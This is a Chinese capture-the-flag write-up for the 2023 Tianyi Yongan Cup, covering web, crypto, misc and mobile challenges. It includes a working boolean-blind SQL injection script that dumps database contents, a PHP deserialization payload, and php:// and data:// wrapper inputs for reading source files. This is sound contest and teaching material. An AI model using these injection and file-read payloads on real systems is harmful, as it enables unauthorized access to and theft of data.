2023天一永安杯部分wp

news2024/12/24 8:46:44

web

Query

布尔盲注

import requests
import string

dictionary = string.digits+string.ascii_letters+"_-{,}"
url = "http://cd5a2660b462c867.node.nsctf.cn/login.php"
xxx=""
for i in range(1,666):
    print("正在爆破第{}位".format(i))
    for j in dictionary:
        flag = True
        
        # payload = "admin'and substr((select group_concat(schema_name) from information_schema.schemata),{},1) = binary'{}' #".format(i,j)  
        # payload = "admin'and substr((select group_concat(table_name) from information_schema.tables where table_schema = 'ctf'),{},1) = '{}' #".format(i,j)              
        # payload = "admin'and substr((select group_concat(column_name) from information_schema.columns where table_schema = 'ctf' and table_name = 'f111'),{},1) = '{}' #".format(i,j)              
        payload = "admin'and substr((select group_concat(flagdata) from ctf.f111),{},1) = '{}' #".format(i,j)              

        data = {'password':'admin','username':payload}
        res = requests.post(url=url,data=data)

        if ('admin' in res.text):
            xxx += j
            print(xxx)
            flag = False
            break
    if(flag):
        print(xxx)
        break

Deserialization

伪协议读源码

route.php

image-20230520130408427

h1nt.php

image-20230520130421846

构造

<?php
class test
{
    public $position = 'f14g.php';
    public function __clone(){  
        echo file_get_contents($this->position); 
        return $this->position;
    }
}  
$a = new test();
echo urlencode(serialize($a));

然后在index.php包含h1nt.php

read=h1nt.php&input=O%3A4%3A%22test%22%3A1%3A%7Bs%3A8%3A%22position%22%3Bs%3A8%3A%22f14g.php%22%3B%7D

CodeCheck

这里利用data协议使得get_file_content返回的值为flag

?a=data://text/plain,flag&b=data://text/plain,flag&c=flag&d=php://filter//convert.iconv.SJIS*.UCS-4*/resource=index.php

crypto

secret

e phi 不互素

image-20230520133647746

流哇流

flag2

from sympy import *
from gmpy2 import *
from functools import reduce
from primefac import *
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m
def crack_unknown_increment(states, modulus, multiplier): 
    increment = (states[1] - states[0]*multiplier) % modulus 
    return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus):    
    multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus 
    return crack_unknown_increment(states, modulus, multiplier)

def crack_unknown_modulus(states): 
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] 
    zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] 
    modulus = abs(reduce(gcd, zeroes)) 
    return crack_unknown_multiplier(states, modulus)

states = [7762911616316678361, 8778349545254661087, 2182563361653435704, 1383751637647655272, 4512576578889812021, 4322633144718249958, 3959701111371594748, 7676663421477866678, 5009230933212388616, 3780469426700690705]
seed = 6473702802409947663
modulus, multiplier, increment =crack_unknown_modulus(states)
print(modulus)   #9223372036854775783
print(multiplier)   # 672257317069504228
print(increment) #0

flag1找到类似的原题了,ciscn的

直接改改数值套脚本

key = '11110010001101101001001110001001'
mask = '10100100000010000000100010010100'
 
R = ''
tem = key
for i in range(32):
    output = '?' + key[:31]
    ans = int(tem[-1-i]) ^ int(output[-3]) ^ int(output[-5]) ^ int(output[-8]) ^ int(output[-12]) ^ int(output[-20]) ^ int(output[-27]) ^ int(output[-30])
    R += str(ans)
    key = str(ans) + key[:31]
 
# R = format(int(R[::-1],2),'z')
R = str(hex(int(R[::-1],2))[2:])
print(R)
flag2 = 9223372036854775783
# flag1 = 0x81415720
flag1 = 2168543008
flag = '81415720'+str(flag2)
print(hashlib.md5(flag.encode("utf-8")).hexdigest())

misc

zip

爆破密码01组成的9位

然后解压得到flag

image-20230520133753893

SimpleDocument

image-20230520133905424

foremost 抽出pdf 全选复制得到flag

BeautifulImage

image-20230520133831529

zsteg 出base64 解码得flag

mobile

peacock

dex2jar

看了看jar包没什么东西,那么核心应该在so里

ida看so文件

image-20230520131457608

感觉最后那两个字符串像base64

然后考虑base64换表,表就是下面那个,解得flag

后记

妈的应该是阳了,头巨痛,还得好好学,输出太低了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/555690.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关闭eslint - vue篇

文章目录 一、问题描述二、问题解决1、首先是比较旧的vue项目2、创建项目的时候&#xff0c;不要选eslint3、如果你使用的编辑软件是webstorm4、创建的项目没有webpack.base.conf.js文件&#xff0c;但是有 .eslintrc.js5、比较新的vue项目&#xff0c;目录没有&#xff08;直接…

升级iOS16.5后无法使用闪电转USB3相机转换器怎么办?

上周&#xff0c;苹果给大家推送了iOS 16.5更新&#xff0c;号称修复了超14个漏洞。但很快&#xff0c;安装了更新的iPhone和iPad用户发现iOS 16.5的一个BUG&#xff0c;Lightning转USB 3相机转换器无法工作。 使用闪电转 USB 3 相机转换器&#xff0c;你可以轻松地将照片和视…

云时通供应链中台 | 打造供应链智慧大脑,实现70%订单交易自动化

在外部环境巨变的三年中&#xff0c;有些消费品制造和零售企业却仍然在自己的赛道逆势增长&#xff0c;这些企业无一例外先一步通过数字化武装自身&#xff0c;打造供应链护城河&#xff0c;为企业实现降本增效。 供应链和物流服务&#xff0c;是商业活动最底层的支撑系统之一…

Postman接口工具、中的全局/环境/集合变量的使用及优先级

变量的使用场景 Postman的变量主要用于参数化和关联 应用1: 常用变量可以按使用范围设置成集合或全局变量应用2: 一套接口要在不同的环境上测试时, 可以新建两个环境,比如test环境和stage环境, 两个环境中添加base_url变量并设置不同的值, 请求中接口的url中使用{{base_url}},…

DJ8-3 shell 进程监控(ps、sleep、kill)

目录 8.6 进程监控 8.6.1 获取进程状态信息&#xff1a;ps 命令 8.6.2 暂停进程运行&#xff1a;sleep 命令 8.6.3 终止进程运行&#xff1a;kill 命令 8.6 进程监控 8.6.1 获取进程状态信息&#xff1a;ps 命令 1、不带参数的 ps 不带参数的 ps 命令运行时&#…

自监督对比学习系列论文(二):有引导对比学习--SCCL,SwAV,PCL,SupervisedCon

自监督对比学习 本篇承接前一篇自监督对比学习的介绍自监督对比学习系列论文&#xff08;一&#xff09;&#xff1a;无引导对比学习–MOCO,SimCLR&#xff0c;这次主要关注于包含先验指导的对比学习&#xff0c;这一指导更进一步的可以区分为聚类指导以及标签指导两种类型。前…

CMake 安装与打包

书接上回&#xff0c;前面我们已经介绍了动态库、静态库的构建和使用&#xff0c;这里将介绍项目构建完成后的安装和打包发布 上一节&#xff1a; 动态库、静态库的构建与使用_爱钓鱼的歪猴的博客-CSDN博客 目录 一、安装 1、理解install命令 2、CMakeLists.txt 3、执行安装…

Class 08 - 数据的读取和保存 R语言中的管道(pip)功能

Class 08 - 数据的读取和保存 & R语言中的管道&#xff08;pip&#xff09;功能 数据的读取和保存data() - 加载R中的数据集readr 功能包介绍readr 包中读取文件的函数read_csv() 读取 .csv 文件 readxl 包读取Excel文件read_excel() - 读取Excel文件excel_sheets() - 读取…

windows平台的视频播放软件-potplayer

可以播放多种格式的视频&#xff0c;可以将大视频按需裁剪为多个指定的小视频&#xff0c; 裁剪方式&#xff1a;快捷键altc打开如下界面 从上往下的功能大致描述为&#xff1a; 1、选择裁剪得到的视频的存储路径 2、设置才见得到的视频文件的前缀名 3、这个功能很重要&#xf…

ChatGPT帮你写简历找工作

随着随着毕业时间的到来&#xff0c;应届生将要面临求职问题&#xff0c;根据官方的统计&#xff0c;2023届高校毕业生预计达1158万人&#xff0c;就业市场竞争激烈&#xff0c;无论是校园招聘&#xff0c;招聘会&#xff0c;线上招聘除了自身的准备和个人能力&#xff0c;都会…

优秀的前端开发框架

优秀的前端开发框架 1.Vue Vue2文档&#xff1a;Vue.js Vue3文档&#xff1a;Vue.js - 渐进式 JavaScript 框架 | Vue.js 用于构建用户界面的渐进式框架 Vue的核心库只关注视图层。可与elementUI配合Element - The worlds most popular Vue UI framework 2.React 原先的Fa…

动态库、静态库的构建与使用

一、理解动态库与静态库 静态、动态是指链接 所谓静态、动态是指链接。回顾一下&#xff0c;将一个程序编译成可执行程序的步骤&#xff1a;链接&#xff1a; 把外部函数的代码&#xff08;通常是后缀名为.lib和.a的文件&#xff09;&#xff0c;添加到可执行文件中。这就叫做…

Java面试知识点(全)-分布式和微服务-redis面试知识点

redis是什么 redis是一种支持Key-Value等多种数据结构的存储系统。可用于缓存、事件发布或订阅、高速队列等场景。该数据库使用ANSI C语言编写&#xff0c;支持网络&#xff0c;提供字符串、哈希、列表、队列、集合结构直接存取&#xff0c;基于内存&#xff0c;可持久化。 为…

一个神奇的小工具,让URL地址都变成了“ooooooooo“

转换的逻辑有点像短链平台一样&#xff0c;只不过这个是将你的URL地址变的很长长长长&#xff0c;但是看着都是 ooooooooo&#xff0c;很好奇是如何实现的&#xff0c;所以查阅了源码&#xff0c;本文解读其核心实现逻辑&#xff0c;很有趣且巧妙的实现了这个功能。 发现一个很…

kaggle帕金森病进展预测大赛金牌方案分享

赛题背景 帕金森病 &#xff08;PD&#xff09; 是一种致残的脑部疾病&#xff0c;会影响运动、认知、睡眠和其他正常功能。不幸的是&#xff0c;目前没有治愈的方法 - 并且疾病会随着时间的推移而恶化。据估计&#xff0c;到2037年&#xff0c;美国将有1万人患有帕金森病&…

LeetCode 1080. Insufficient Nodes in Root to Leaf Paths【递归,二叉树】中等

本文属于「征服LeetCode」系列文章之一&#xff0c;这一系列正式开始于2021/08/12。由于LeetCode上部分题目有锁&#xff0c;本系列将至少持续到刷完所有无锁题之日为止&#xff1b;由于LeetCode还在不断地创建新题&#xff0c;本系列的终止日期可能是永远。在这一系列刷题文章…

【Java|基础篇】详解static关键字和代码块

文章目录 1.前言2.static关键字2.1 static修饰成员变量2.2 static修饰成员方法 3. 代码块3.1 普通代码块3.2 静态代码块3.3 构造代码块 4.总结 1.前言 本文主要讲解static关键字以及代码块的执行顺序以及各部分代码块的作用. 2.static关键字 Java中的static关键字是用来修饰…

hive函数02

hive函数02 窗口函数 窗口函数&#xff08;Window functions )也叫做开窗函数、OLAP函数&#xff0c;其最大特点是∶输入值是从SELECT语句的结果集中的一行或多行的“窗口”中获取的。 窗口函数可以简单地解释为类似于聚合函数的计算函数&#xff0c;但是通过GROUP BY子句组合…

jenkins 常见问题汇总

1、win11 节点&#xff08;Error: Unable to access jarfile slave.jar&#xff09; jenkins 默认cd 进入到设置的目录下面&#xff0c;如果不是C盘的话&#xff0c;直接cd 进入不了其他盘&#xff0c;所以&#xff0c;需要在命令前面&#xff0c;加参数进入到对应盘符。eg:E:…

pandas1

pandas pandas 的核心是&#xff1a;‘Series’、‘DataFrame’、Index’三个类型 1. 创建DataFrame对象 1.1 通过二维数组创建 scores np.random.randint(60,101,(5,3)) scoresarray([[ 91, 87, 87],[100, 80, 61],[ 76, 84, 80],[ 81, 97, 69],[ 67, 77, 65]]…